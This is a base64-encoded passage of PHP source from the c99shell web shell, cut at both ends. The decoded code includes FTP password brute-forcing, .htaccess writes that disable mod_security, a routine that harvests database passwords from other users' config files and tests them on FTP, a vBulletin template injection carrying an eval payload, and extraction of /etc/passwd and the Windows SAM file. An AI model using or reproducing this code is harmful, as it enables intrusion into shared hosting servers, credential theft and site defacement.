ys7DQogICAgfQ0KICAgIGlmICgkc3VjY2VzcyA9PSAwKSB7ZWNobyAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhIjsgJGZxYl9sb2cgLj0gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zIVxyXG4iO30NCiAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxicj5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIjxicj5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iPGJyPlN1Y2Nlc3MuOiA8Zm9udCBjb2xvcj1ncmVlbj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsNCiAgICAkZnFiX2xvZyAuPSAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5Eb25lIVxyXG5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIlxyXG5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iXHJcblN1Y2Nlc3MuOiAiLiRzdWNjZXNzLiJcclxuVW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIlxyXG5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiJcclxuIjsNCiAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsImM5OXNoZWxsIHYuICIuJHNodmVyLiIgcmVwb3J0IiwkZnFiX2xvZyk7fQ0KICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsNCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgICRsb2dmaWxlID0gJHRtcGRpcl9sb2dzLiJjOTlzaF9mdHBxdWlja2JydXRlXyIuZGF0ZSgiZC5tLllfSF9pX3MiKS4iLmxvZyI7DQogICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbG9nZmlsZSk7DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwiZnRwcXVpY2ticnV0ZVwiPjxicj5SZWFkIGZpcnN0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9XCJmcWJfbGVuZ2h0XCIgdmFsdWU9XCIiLiRuaXhwd2RwZXJwYWdlLiJcIj48YnI+PGJyPlVzZXJzIG9ubHkgd2l0aCBzaGVsbD8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+PGJyPjxicj5Mb2dnaW5nPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj5Mb2dnaW5nIHRvIGZpbGU/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dmaWxlXCIgdmFsdWU9XCIiLiRsb2dmaWxlLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dmaWxlKSsyKihzdHJsZW4oJGxvZ2ZpbGUpLzEwKSkuIlwiPjxicj5Mb2dnaW5nIHRvIGUtbWFpbD8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkJydXRlXCI+PC9mb3JtPiI7DQogIH0NCiB9DQp9DQppZiAoJGFjdCA9PSAiZCIpDQp7DQogaWYgKCFpc19kaXIoJGQpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVkITwvYj48L2NlbnRlcj4iO30NCiBlbHNlDQogew0KICBlY2hvICI8Yj5EaXJlY3RvcnkgaW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+IjsNCiAgaWYgKCEkd2luKQ0KICB7DQogICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOw0KICAgLy8kb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQpKTsNCiAgIC8vJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkKSk7DQogICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQpKTsNCiAgfQ0KICBlY2hvICI8dHI+PHRkPjxiPlBlcm1zPC9iPjwvdGQ+PHRkPjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdjaG1vZCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogfQ0KfQ0KDQppZigkYWN0PT0iaHRhY3NzIil7DQplY2hvICI8dGFibGUgaWQ9XCJ0YWJsZTdcIiBzdHlsZT1cIkJPUkRFUi1SSUdIVDogYmxhY2sgMnB4IHNvbGlkOyBCT1JERVItVE9QOiBibGFjayAycHggc29saWQ7IEJPUkRFUi1MRUZUOiBibGFjayAycHggc29saWQ7IEJPUkRFUi1CT1RUT006IGJsYWNrIDJweCBzb2xpZFwiIHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9XCIjMDAzMzAwXCIgY29sb3I9XCJibGFja1wiPg0KPHRyPg0KPHRkIHdpZHRoPVwiNTAlXCI+DQo8ZGl2IHN0eWxlPVwiZm9udC13ZWlnaHQ6IG5vcm1hbDsgZm9udC1zaXplOiAxMnB4OyBjb2xvcjogd2hpdGVzbW9rZTsgZm9udC1mYW1pbHk6IHRhaG9tYVwiIGFsaWduPVwibGVmdFwiPg0KPHAgYWxpZ249XCJjZW50ZXJcIj48Yj48Zm9udCBmYWNlPVwic2FucyBtc1wiIHNpemU9XCIzXCI+DQo8YSBocmVmPVwiJHA/YT1odGFjY2VzcyZoYXQ9Rm9yYmlkZGVuXCI+Rm9yYmlkZGVuPC9hPiAtIDxhIGhyZWY9XCIkcD9hPWh0YWNjZXNzJmhhdD1UZW1wb3JhcmlseVwiPlNlcnZpY2UgVGVtcG9yYXJpbHkgPC9hPi0NCjxhIGhyZWY9XCIkcD9hPWh0YWNjZXNzJmhhdD1VbmF2YWlsYWJsZVwiPiBVbmF2YWlsYWJsZSA8L2E+LSA8YSBocmVmPVwiJHA/YT1odGFjY2VzcyZoYXQ9RXJyb3JcIj5JbnRlcm5hbCBTZXJ2ZXIgRXJyb3IgPC9hPi08YSBzdHlsZT1cImNvbG9yOiAjZGFkYWRhOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGZvbnQtZmFtaWx5OiB0YWhvbWE7IGZvbnQtc2l6ZTogMTNweFwiIGhyZWY9XCI/YT1DTURcIj4NCjwvYT48L2ZvbnQ+PGZvbnQgc3R5bGU9XCJmb250LXNpemU6IDEzcHhcIiBjb2xvcj1cIiNEQURBREFcIj48YSBocmVmPVwiJHA/YT1odGFjY2VzcyZoYXQ9QWNjZXB0YWJsZVwiPiBOb3QNCkFjY2VwdGFibGU8L2E+PC9mb250Pjxmb250IGZhY2U9XCJzYW5zIG1zXCIgc2l6ZT1cIjNcIj4gLTxhIGhyZWY9XCIkcD9hPWh0YWNjZXNzJmhhdD1waHAtNFwiPiBiYWNrIHZlcnNpb24gcGhwIHRvIDQgPC9hPjwvZm9udD48L2I+PC9kaXY+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoiOw0Kc3dpdGNoICgkaGF0KXsNCmNhc2UgRm9yYmlkZGVuOg0KJG0gPSJKR1p3UFdadmNHVnVJQ2dpTG1oMFlXTmpaWE56SWl3Z0ltRXJJaWs3Um5keWFYUmxJQ2drWm5Bc0lDSWtjeUlwTzBaamJHOXpaU0FvDQpKR1p3S1NBNyI7DQokcyA9ICI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+IjsNCmV2YWwoYmFzZTY0X2RlY29kZSgkbSkpOw0KZWNobyAiRm9yYmlkZGVuIGRvbmUiOw0KYnJlYWs7DQpjYXNlIFRlbXBvcmFyaWx5Og0KJG0gPSJKR1p3UFdadmNHVnVJQ2dpTG1oMFlXTmpaWE56SWl3Z0ltRXJJaWs3Um5keWFYUmxJQ2drWm5Bc0lDSWtjeUlwTzBaamJHOXpaU0FvDQpKR1p3S1NBNyI7DQokcyA9ICI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+IjsNCmV2YWwoYmFzZTY0X2RlY29kZSgkbSkpOw0KZWNobyAiZG9uZSI7DQpicmVhazsNCmNhc2UgVW5hdmFpbGFibGU6DQokbSA9IkpHWndQV1p2Y0dWdUlDZ2lMbWgwWVdOalpYTnpJaXdnSW1FcklpazdSbmR5YVhSbElDZ2tabkFzSUNJa2N5SXBPMFpqYkc5elpTQW8NCkpHWndLU0E3IjsNCiRzID0gIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4NClNlY0ZpbHRlckVuZ2luZSBPZmYNClNlY0ZpbHRlclNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRtKSk7DQplY2hvICJkb25lIjsNCmJyZWFrOw0KY2FzZSBFcnJvcjoNCiRtID0iSkdad1BXWnZjR1Z1SUNnaUxtaDBZV05qWlhOeklpd2dJbUVySWlrN1JuZHlhWFJsSUNna1puQXNJQ0lrY3lJcE8wWmpiRzl6WlNBbw0KSkdad0tTQTciOw0KJHMgPSAiPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmlsdGVyRW5naW5lIE9mZg0KU2VjRmlsdGVyU2NhblBPU1QgT2ZmDQo8L0lmTW9kdWxlPiI7DQpldmFsKGJhc2U2NF9kZWNvZGUoJG0pKTsNCmVjaG8gImRvbmUiOw0KYnJlYWs7DQpjYXNlIEFjY2VwdGFibGU6DQokbSA9IkpHWndQV1p2Y0dWdUlDZ2lMbWgwWVdOalpYTnpJaXdnSW1FcklpazdSbmR5YVhSbElDZ2tabkFzSUNJa2N5SXBPMFpqYkc5elpTQW8NCkpHWndLU0E3IjsNCiRzID0gIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4NClNlY0ZpbHRlckVuZ2luZSBPZmYNClNlY0ZpbHRlclNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4iOw0KZXZhbChiYXNlNjRfZGVjb2RlKCRtKSk7DQplY2hvICJib25lIjsNCmJyZWFrOw0KY2FzZSAicGhwLTQiOg0KJGogPSJKR1p3UFdadmNHVnVJQ2dpTG1oMFlXTmpaWE56SWl3Z0ltRXJJaWs3Um5keWFYUmxJQ2drWm5Bc0lDSWtjeUlwTzBaamJHOXpaU0FvDQpKR1p3S1NBNyI7DQokcyA9ICJBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNCAucGhwIjsNCmV2YWwoYmFzZTY0X2RlY29kZSgkaikpOw0KZWNobyAiZG9uZSI7DQpicmVhazsNCmRlZmF1bHQ6DQplY2hvICI8Y2VudGVyPjxoMj4gaHRhY2Nlc3MgIDwvaDI+PC9jZW50ZXI+IjsNCn0NCn0NCg0KaWYgKCRhY3QgPT0gImNvbmZzcHkiKQ0Kew0KDQpAJHBhc3N3ZD1mb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7DQoNCmlmICghJHBhc3N3ZCkgew0KDQogICBlY2hvICJbLV0gRXJyb3IgOiAgIC9ldGMvcGFzc3dkIjsNCg0KICAgZXhpdDsNCg0KfQ0KDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsNCg0KJHVzZXJzPWFycmF5KCk7DQoNCiRwYXRodG9jb25mPWFycmF5KCk7DQoNCiRpPTA7DQoNCg0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgew0KDQogICRzdHI9ZmdldHMoJHBhc3N3ZCk7DQoNCiAgaWYgKCRpPjM1KSB7DQoNCiAgICAkcG9zPXN0cnBvcygkc3RyLCI6Iik7DQoNCiAgICAkdXNlcm5hbWU9c3Vic3RyKCRzdHIsMCwkcG9zKTsNCg0KICAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsNCg0KICAgIGlmICgoJHVzZXJuYW1lIT0iIikpIHsNCg0KICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7DQoNCiAgICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQoNCiAgICAgICAgICAgIGFycmF5X3B1c2goJHBhdGhfdG9fcHVibGljLCRkaXJ6KTsNCg0KICAgICAgICB9DQoNCiAgICB9DQoNCiAgfQ0KDQogICRpKys7DQoNCn0NCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KZWNobyAiPGJyPjxicj4iOw0KDQplY2hvICI8dGV4dGFyZWEgbmFtZT0nbWFpbl93aW5kb3cnIGNvbHM9MTAwIHJvd3M9MjA+IjsNCg0KDQoNCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCR1c2VycykuIiBlbnRyeXMgaW4gL2V0Yy9wYXNzd2RcbiI7DQoNCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsNCg0KDQoNCmVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOw0KDQpmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsNCg0KICAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsNCg0KICAgICAgICByZWFkX2RpcigkcGF0aCwkdXNlcik7DQoNCn0NCg0KDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7DQoNCg0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsNCg0KICAgIGlmICgkaGFuZGxlID0gb3BlbmRpcigkcGF0aCkpIHsNCg0KICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQoNCiAgICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsNCg0KICAgICAgICAgICAgICBpZiAoKCRmaWxlIT0nLicpIGFuZCAoJGZpbGUhPScuLicpKSB7DQoNCiAgICAgICAgICAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRmcGF0aCkpIHsNCg0KICAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOw0KDQogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRyKSkgew0KDQogICAgICAgICAgICAgICAgICAgICAgIHJlYWRfZGlyKCRkciwkdXNlcm5hbWUpOw0KDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICBlbHNlIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGZpbGU9PSdjb25maWcucGhwJykgb3IgKCRmaWxlPT0nY29uZmlnLmluYy5waHAnKSBvciAoJGZpbGU9PSdkYi5pbmMucGhwJykgb3IgKCRmaWxlPT0nY29ubmVjdC5waHAnKSBvciAoJGZpbGU9PSd3cC1jb25maWcucGhwJykgb3IgKCRmaWxlPT0ndmFyLnBocCcpIG9yICgkZmlsZT09J2NvbmZpZ3VyZS5waHAnKSBvciAoJGZpbGU9PSdkYi5waHAnKSBvciAoJGZpbGU9PSdkYl9jb25uZWN0LnBocCcpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRwYXNzIT0nJykgew0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ0cF9jaGVjaygkdXNlcm5hbWUsJHBhc3MpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgfQ0KDQogICAgICAgIH0NCg0KICAgIH0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZ2V0X3Bhc3MoJGxpbmspIHsNCg0KICAgIEAkY29uZmlnPWZvcGVuKCRsaW5rLCdyJyk7DQoNCiAgICB3aGlsZSghZmVvZigkY29uZmlnKSkgew0KDQogICAgICAgICRsaW5lPWZnZXRzKCRjb25maWcpOw0KDQogICAgICAgIGlmIChzdHJzdHIoJGxpbmUsJ3Bhc3MnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3b3JkJykgb3Igc3Ryc3RyKCRsaW5lLCdwYXNzd2QnKSkgew0KDQogICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKQ0KDQogICAgICAgICAgICAgICAkcGFzcz1zdWJzdHIoJGxpbmUsKHN0cnBvcygkbGluZSwnPScpKzMpLChzdHJycG9zKCRsaW5lLCciJyktKHN0cnBvcygkbGluZSwnPScpKzMpKSk7DQoNCiAgICAgICAgICAgIGVsc2UNCg0KICAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOw0KDQogICAgICAgICAgICByZXR1cm4gJHBhc3M7DQoNCiAgICAgICAgfQ0KDQogICAgfQ0KDQp9DQoNCg0KDQpmdW5jdGlvbiBmdHBfY2hlY2soJGxvZ2luLCRwYXNzKSB7DQoNCiAgICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOw0KDQogICAgIGlmICgkZnRwKSB7DQoNCiAgICAgICAgQCRyZXM9ZnRwX2xvZ2luKCRmdHAsJGxvZ2luLCRwYXNzKTsNCg0KICAgICAgICBpZiAoJHJlcykgew0KDQogICAgICAgICAgIGVjaG8gJ1tGVFBdICcuJGxvZ2luLic6Jy4kcGFzcy4iICBTdWNjZXNzXG4iOw0KDQogICAgICAgIH0NCg0KICAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOw0KDQogICAgIH0NCg0KfQ0KDQoNCg0KDQplY2hvICI8L3RleHRhcmVhPjxicj4iOw0KDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsNCn0NCg0KaWYgKCRhY3QgPT0gImluZGV4eCIpDQp7DQoNCmlmKGVtcHR5KCRfUE9TVFsnaW5kZXgnXSkpew0KZWNobyAiPEZPUk0gbWV0aG9kPVwiUE9TVFwiPg0KaG9zdCA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cImxvY2FsaG9zdFwiIG5hbWU9XCJsb2NhbGhvc3RcIiB0eXBlPVwidGV4dFwiPg0KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJmb3J1bV92YlwiIG5hbWU9XCJkYXRhYmFzZVwiIHR5cGU9XCJ0ZXh0XCI+PGJyPg0KdXNlcm5hbWUgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJmb3J1bV92YlwiIG5hbWU9XCJ1c2VybmFtZVwiIHR5cGU9XCJ0ZXh0XCI+DQpwYXNzd29yZCA6IDxJTlBVVCBzaXplPVwiMTVcIiB2YWx1ZT1cInZiXCIgbmFtZT1cInBhc3N3b3JkXCIgdHlwZT1cInBhc3N3b3JkXCI+PGJyPg0KICAgICAgPGJyPg0KPHRleHRhcmVhIG5hbWU9XCJpbmRleFwiIGNvbHM9XCI3MFwiIHJvd3M9XCIzMFwiPlNldCBZb3VyIEluZGV4PC90ZXh0YXJlYT48YnI+DQo8SU5QVVQgdmFsdWU9XCJTZXRcIiBuYW1lPVwic2VuZFwiIHR5cGU9XCJzdWJtaXRcIj4NCjwvRk9STT4iOw0KfWVsc2V7DQokbG9jYWxob3N0ID0gJF9QT1NUWydsb2NhbGhvc3QnXTsNCiRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107DQokdXNlcm5hbWUgID0gJF9QT1NUWyd1c2VybmFtZSddOw0KJHBhc3N3b3JkICA9ICRfUE9TVFsncGFzc3dvcmQnXTsNCiRpbmRleCAgICAgPSAkX1BPU1RbJ2luZGV4J107DQogICAgICAgICBAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTsNCiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRhdGFiYXNlKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoNCiRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOw0KDQoNCiRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOw0KDQokc2V0X2luZGV4IC49IGJhc2U2NF9lbmNvZGUoImVjaG8gXCIkaW5kZXhcIjsiKTsNCg0KDQokc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7DQoNCiRvaz1AbXlzcWxfcXVlcnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRzZXRfaW5kZXguIicgV0hFUkUgdGl0bGUgPSdzcGFjZXJfb3BlbiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7DQoNCmlmKCRvayl7DQplY2hvICIhISB1cGRhdGUgZmluaXNoICEhPGJyPjxicj4iOw0KfQ0KDQp9DQp9DQoNCmlmICgkYWN0ID09ICJwaHBpbmZvIikge0BvYl9jbGVhbigpOyBwaHBpbmZvKCk7IGM5OXNoZXhpdCgpO30NCmlmICgkYWN0ID09ICJzZWN1cml0eSIpDQp7DQogZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb246PC9iPjwvY2VudGVyPjxiPk9wZW4gYmFzZSBkaXI6ICIuJGhvcGVuYmFzZWRpci4iPC9iPjxicj4iOw0KIGlmICghJHdpbikNCiB7DQogIGlmICgkbml4cGFzc3dkKQ0KICB7DQogICBpZiAoJG5peHBhc3N3ZCA9PSAxKSB7JG5peHBhc3N3ZCA9IDA7fQ0KICAgZWNobyAiPGI+Km5peCAvZXRjL3Bhc3N3ZDo8L2I+PGJyPiI7DQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQ0KICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfZSkpIHskbml4cHdkX2UgPSAkbml4cHdkcGVycGFnZTt9DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsNCiAgICRpID0gJG5peHB3ZF9zOw0KICAgd2hpbGUgKCRpIDwgJG5peHB3ZF9lKQ0KICAgew0KICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCR1aWQpDQogICAgew0KICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7DQogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOw0KICAgIH0NCiAgICAkaSsrOw0KICAgfQ0KICB9DQogIGVsc2Uge2VjaG8gIjxicj48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nc2VjdXJpdHknO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi4kdWQuIic7ZG9jdW1lbnQudG9kby5uaXhwYXNzd2QudmFsdWU9JzEnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+PHU+R2V0IC9ldGMvcGFzc3dkPC91PjwvYj48L2E+PGJyPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJlcGFpclxzYW0iOw0KICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPllvdSBjYW4ndCBjcmFjayB3aW5udCBwYXNzd29yZHMoIi4kdi4iKSA8L2ZvbnQ+PC9iPjxicj4iO30NCiAgZWxzZSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+WW91IGNhbiBjcmFjayB3aW5udCBwYXNzd29yZHMuIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9J3NhbSc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLiRfU0VSVkVSWyJXSU5ESVIiXS4iXC9yZXBhaXInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9J2Rvd25sb2FkJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PjxiPkRvd25sb2FkPC9iPjwvdT48L2E+LCBhbmQgdXNlIGxjcC5jcmFjaysgqS48L2ZvbnQ+PC9iPjxicj4iO30NCiB9DQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3VzZXJkb21haW5zIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSd1c2VyZG9tYWlucyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgiL2V0YyIpLiInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9J3R4dCc7ZG9jdW1